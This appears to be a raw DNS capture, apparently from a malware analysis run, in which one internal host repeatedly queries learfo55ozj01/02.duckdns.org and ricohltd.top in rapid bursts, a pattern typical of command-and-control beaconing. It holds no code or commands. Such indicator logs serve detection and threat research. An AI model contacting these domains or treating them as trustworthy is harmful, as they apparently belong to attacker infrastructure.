May 1, 2024 18:22:01.207086086 CEST	192.168.2.22	8.8.8.8	0x2d06	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:01.305366039 CEST	192.168.2.22	8.8.8.8	0x2d06	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:01.423333883 CEST	192.168.2.22	8.8.8.8	0x2d06	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:02.584129095 CEST	192.168.2.22	8.8.8.8	0x6ec5	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:02.683722019 CEST	192.168.2.22	8.8.8.8	0x6ec5	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:02.779084921 CEST	192.168.2.22	8.8.8.8	0x6ec5	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:02.874392033 CEST	192.168.2.22	8.8.8.8	0x6ec5	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:07.606164932 CEST	192.168.2.22	8.8.8.8	0x8feb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:07.702109098 CEST	192.168.2.22	8.8.8.8	0x8feb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:07.799102068 CEST	192.168.2.22	8.8.8.8	0x8feb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:07.894555092 CEST	192.168.2.22	8.8.8.8	0x8feb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:07.993817091 CEST	192.168.2.22	8.8.8.8	0x8feb	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.189425945 CEST	192.168.2.22	8.8.8.8	0xb346	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.284791946 CEST	192.168.2.22	8.8.8.8	0xb346	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.380001068 CEST	192.168.2.22	8.8.8.8	0xb346	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.475156069 CEST	192.168.2.22	8.8.8.8	0xb346	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.570441008 CEST	192.168.2.22	8.8.8.8	0xb346	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:09.966001034 CEST	192.168.2.22	8.8.8.8	0x2679	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.063260078 CEST	192.168.2.22	8.8.8.8	0x2679	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.158267975 CEST	192.168.2.22	8.8.8.8	0x2679	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.258152962 CEST	192.168.2.22	8.8.8.8	0x2679	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.352945089 CEST	192.168.2.22	8.8.8.8	0x2679	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.457840919 CEST	192.168.2.22	8.8.8.8	0x6989	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.552289009 CEST	192.168.2.22	8.8.8.8	0x6989	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.646753073 CEST	192.168.2.22	8.8.8.8	0x6989	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.741548061 CEST	192.168.2.22	8.8.8.8	0x6989	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.838922977 CEST	192.168.2.22	8.8.8.8	0x6989	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.492696047 CEST	192.168.2.22	8.8.8.8	0x792d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.589715958 CEST	192.168.2.22	8.8.8.8	0x792d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.685692072 CEST	192.168.2.22	8.8.8.8	0x792d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.782565117 CEST	192.168.2.22	8.8.8.8	0x792d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.879354954 CEST	192.168.2.22	8.8.8.8	0x792d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:14.648088932 CEST	192.168.2.22	8.8.8.8	0x978c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:14.744129896 CEST	192.168.2.22	8.8.8.8	0x978c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:14.839586020 CEST	192.168.2.22	8.8.8.8	0x978c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:14.934303045 CEST	192.168.2.22	8.8.8.8	0x978c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:15.029652119 CEST	192.168.2.22	8.8.8.8	0x978c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:16.825422049 CEST	192.168.2.22	8.8.8.8	0xf66a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:16.921485901 CEST	192.168.2.22	8.8.8.8	0xf66a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:17.016194105 CEST	192.168.2.22	8.8.8.8	0xf66a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:17.111049891 CEST	192.168.2.22	8.8.8.8	0xf66a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:17.207022905 CEST	192.168.2.22	8.8.8.8	0xf66a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.494682074 CEST	192.168.2.22	8.8.8.8	0x7a40	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.606101036 CEST	192.168.2.22	8.8.8.8	0x7a40	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.700737000 CEST	192.168.2.22	8.8.8.8	0x7a40	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.795528889 CEST	192.168.2.22	8.8.8.8	0x7a40	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.890286922 CEST	192.168.2.22	8.8.8.8	0x7a40	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:19.933764935 CEST	192.168.2.22	8.8.8.8	0x6678	Standard query (0)	ricohltd.top	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.183161974 CEST	192.168.2.22	8.8.8.8	0xc1e0	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.294513941 CEST	192.168.2.22	8.8.8.8	0xc1e0	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.389724970 CEST	192.168.2.22	8.8.8.8	0xc1e0	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.484337091 CEST	192.168.2.22	8.8.8.8	0xc1e0	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.578669071 CEST	192.168.2.22	8.8.8.8	0xc1e0	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.791063070 CEST	192.168.2.22	8.8.8.8	0x6f88	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.886620998 CEST	192.168.2.22	8.8.8.8	0x6f88	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.981419086 CEST	192.168.2.22	8.8.8.8	0x6f88	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:21.076066017 CEST	192.168.2.22	8.8.8.8	0x6f88	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:21.170627117 CEST	192.168.2.22	8.8.8.8	0x6f88	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.391911030 CEST	192.168.2.22	8.8.8.8	0xc9e8	Standard query (0)	ricohltd.top	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.432672024 CEST	192.168.2.22	8.8.8.8	0x123a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.527772903 CEST	192.168.2.22	8.8.8.8	0x123a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.625559092 CEST	192.168.2.22	8.8.8.8	0x123a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.721797943 CEST	192.168.2.22	8.8.8.8	0x123a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.819361925 CEST	192.168.2.22	8.8.8.8	0x123a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.024665117 CEST	192.168.2.22	8.8.8.8	0xdfcf	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.132033110 CEST	192.168.2.22	8.8.8.8	0xdfcf	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.231211901 CEST	192.168.2.22	8.8.8.8	0xdfcf	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.333406925 CEST	192.168.2.22	8.8.8.8	0xdfcf	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.496870995 CEST	192.168.2.22	8.8.8.8	0xdfcf	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:29.421323061 CEST	192.168.2.22	8.8.8.8	0x980c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:29.517096996 CEST	192.168.2.22	8.8.8.8	0x980c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:29.611840010 CEST	192.168.2.22	8.8.8.8	0x980c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:29.706909895 CEST	192.168.2.22	8.8.8.8	0x980c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:29.908931017 CEST	192.168.2.22	8.8.8.8	0x980c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.505369902 CEST	192.168.2.22	8.8.8.8	0x9d71	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.600500107 CEST	192.168.2.22	8.8.8.8	0x9d71	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.695513010 CEST	192.168.2.22	8.8.8.8	0x9d71	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.789962053 CEST	192.168.2.22	8.8.8.8	0x9d71	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.886935949 CEST	192.168.2.22	8.8.8.8	0x9d71	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.998074055 CEST	192.168.2.22	8.8.8.8	0x56e7	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:35.097315073 CEST	192.168.2.22	8.8.8.8	0x56e7	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:35.192524910 CEST	192.168.2.22	8.8.8.8	0x56e7	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:35.291342974 CEST	192.168.2.22	8.8.8.8	0x56e7	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:35.387414932 CEST	192.168.2.22	8.8.8.8	0x56e7	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:36.705383062 CEST	192.168.2.22	8.8.8.8	0xf573	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:36.804203033 CEST	192.168.2.22	8.8.8.8	0xf573	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:36.902228117 CEST	192.168.2.22	8.8.8.8	0xf573	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:36.997085094 CEST	192.168.2.22	8.8.8.8	0xf573	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.092837095 CEST	192.168.2.22	8.8.8.8	0xf573	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.195841074 CEST	192.168.2.22	8.8.8.8	0x4950	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.290626049 CEST	192.168.2.22	8.8.8.8	0x4950	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.388287067 CEST	192.168.2.22	8.8.8.8	0x4950	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.487287045 CEST	192.168.2.22	8.8.8.8	0x4950	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.583035946 CEST	192.168.2.22	8.8.8.8	0x4950	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:38.821369886 CEST	192.168.2.22	8.8.8.8	0x9875	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:38.917068958 CEST	192.168.2.22	8.8.8.8	0x9875	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.011676073 CEST	192.168.2.22	8.8.8.8	0x9875	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.106695890 CEST	192.168.2.22	8.8.8.8	0x9875	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.201545000 CEST	192.168.2.22	8.8.8.8	0x9875	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.315838099 CEST	192.168.2.22	8.8.8.8	0x6810	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.410470009 CEST	192.168.2.22	8.8.8.8	0x6810	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.505238056 CEST	192.168.2.22	8.8.8.8	0x6810	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.599957943 CEST	192.168.2.22	8.8.8.8	0x6810	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.694297075 CEST	192.168.2.22	8.8.8.8	0x6810	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.132133961 CEST	192.168.2.22	8.8.8.8	0x769a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.226847887 CEST	192.168.2.22	8.8.8.8	0x769a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.321338892 CEST	192.168.2.22	8.8.8.8	0x769a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.416470051 CEST	192.168.2.22	8.8.8.8	0x769a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.511637926 CEST	192.168.2.22	8.8.8.8	0x769a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:41.654154062 CEST	192.168.2.22	8.8.8.8	0x2b75	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:41.750489950 CEST	192.168.2.22	8.8.8.8	0x2b75	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:41.846642971 CEST	192.168.2.22	8.8.8.8	0x2b75	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:41.942084074 CEST	192.168.2.22	8.8.8.8	0x2b75	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.037667990 CEST	192.168.2.22	8.8.8.8	0x2b75	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.307491064 CEST	192.168.2.22	8.8.8.8	0x4611	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.402728081 CEST	192.168.2.22	8.8.8.8	0x4611	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.497925997 CEST	192.168.2.22	8.8.8.8	0x4611	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.592650890 CEST	192.168.2.22	8.8.8.8	0x4611	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.687736034 CEST	192.168.2.22	8.8.8.8	0x4611	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.958205938 CEST	192.168.2.22	8.8.8.8	0x3d6b	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:43.053092957 CEST	192.168.2.22	8.8.8.8	0x3d6b	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:43.147496939 CEST	192.168.2.22	8.8.8.8	0x3d6b	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:43.242006063 CEST	192.168.2.22	8.8.8.8	0x3d6b	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:43.336268902 CEST	192.168.2.22	8.8.8.8	0x3d6b	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.480649948 CEST	192.168.2.22	8.8.8.8	0x502c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.576061010 CEST	192.168.2.22	8.8.8.8	0x502c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.671076059 CEST	192.168.2.22	8.8.8.8	0x502c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.769984007 CEST	192.168.2.22	8.8.8.8	0x502c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.865179062 CEST	192.168.2.22	8.8.8.8	0x502c	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.313878059 CEST	192.168.2.22	8.8.8.8	0x34f3	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.408739090 CEST	192.168.2.22	8.8.8.8	0x34f3	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.504148960 CEST	192.168.2.22	8.8.8.8	0x34f3	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.601730108 CEST	192.168.2.22	8.8.8.8	0x34f3	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.698278904 CEST	192.168.2.22	8.8.8.8	0x34f3	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.845649004 CEST	192.168.2.22	8.8.8.8	0xf27f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.940309048 CEST	192.168.2.22	8.8.8.8	0xf27f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.035043001 CEST	192.168.2.22	8.8.8.8	0xf27f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.133527994 CEST	192.168.2.22	8.8.8.8	0xf27f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.229324102 CEST	192.168.2.22	8.8.8.8	0xf27f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.334239006 CEST	192.168.2.22	8.8.8.8	0xae8a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.449465036 CEST	192.168.2.22	8.8.8.8	0xae8a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.554034948 CEST	192.168.2.22	8.8.8.8	0xae8a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.649490118 CEST	192.168.2.22	8.8.8.8	0xae8a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.744138002 CEST	192.168.2.22	8.8.8.8	0xae8a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:48.862423897 CEST	192.168.2.22	8.8.8.8	0x73fa	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:48.956934929 CEST	192.168.2.22	8.8.8.8	0x73fa	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.051445961 CEST	192.168.2.22	8.8.8.8	0x73fa	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.145869970 CEST	192.168.2.22	8.8.8.8	0x73fa	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.243303061 CEST	192.168.2.22	8.8.8.8	0x73fa	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.348141909 CEST	192.168.2.22	8.8.8.8	0x9aff	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.447283983 CEST	192.168.2.22	8.8.8.8	0x9aff	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.543271065 CEST	192.168.2.22	8.8.8.8	0x9aff	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.643289089 CEST	192.168.2.22	8.8.8.8	0x9aff	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.737740993 CEST	192.168.2.22	8.8.8.8	0x9aff	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.842605114 CEST	192.168.2.22	8.8.8.8	0xfe72	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.938218117 CEST	192.168.2.22	8.8.8.8	0xfe72	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:50.033008099 CEST	192.168.2.22	8.8.8.8	0xfe72	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:50.128153086 CEST	192.168.2.22	8.8.8.8	0xfe72	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:50.223376036 CEST	192.168.2.22	8.8.8.8	0xfe72	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.354475975 CEST	192.168.2.22	8.8.8.8	0xd0c1	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.465317965 CEST	192.168.2.22	8.8.8.8	0xd0c1	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.563265085 CEST	192.168.2.22	8.8.8.8	0xd0c1	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.675280094 CEST	192.168.2.22	8.8.8.8	0xd0c1	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.769942045 CEST	192.168.2.22	8.8.8.8	0xd0c1	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.874034882 CEST	192.168.2.22	8.8.8.8	0xe166	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.969374895 CEST	192.168.2.22	8.8.8.8	0xe166	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.090219021 CEST	192.168.2.22	8.8.8.8	0xe166	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.203027010 CEST	192.168.2.22	8.8.8.8	0xe166	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.299387932 CEST	192.168.2.22	8.8.8.8	0xe166	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.403633118 CEST	192.168.2.22	8.8.8.8	0x1ac	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.499404907 CEST	192.168.2.22	8.8.8.8	0x1ac	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.594396114 CEST	192.168.2.22	8.8.8.8	0x1ac	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.708307028 CEST	192.168.2.22	8.8.8.8	0x1ac	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.803129911 CEST	192.168.2.22	8.8.8.8	0x1ac	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:53.915472031 CEST	192.168.2.22	8.8.8.8	0x3218	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
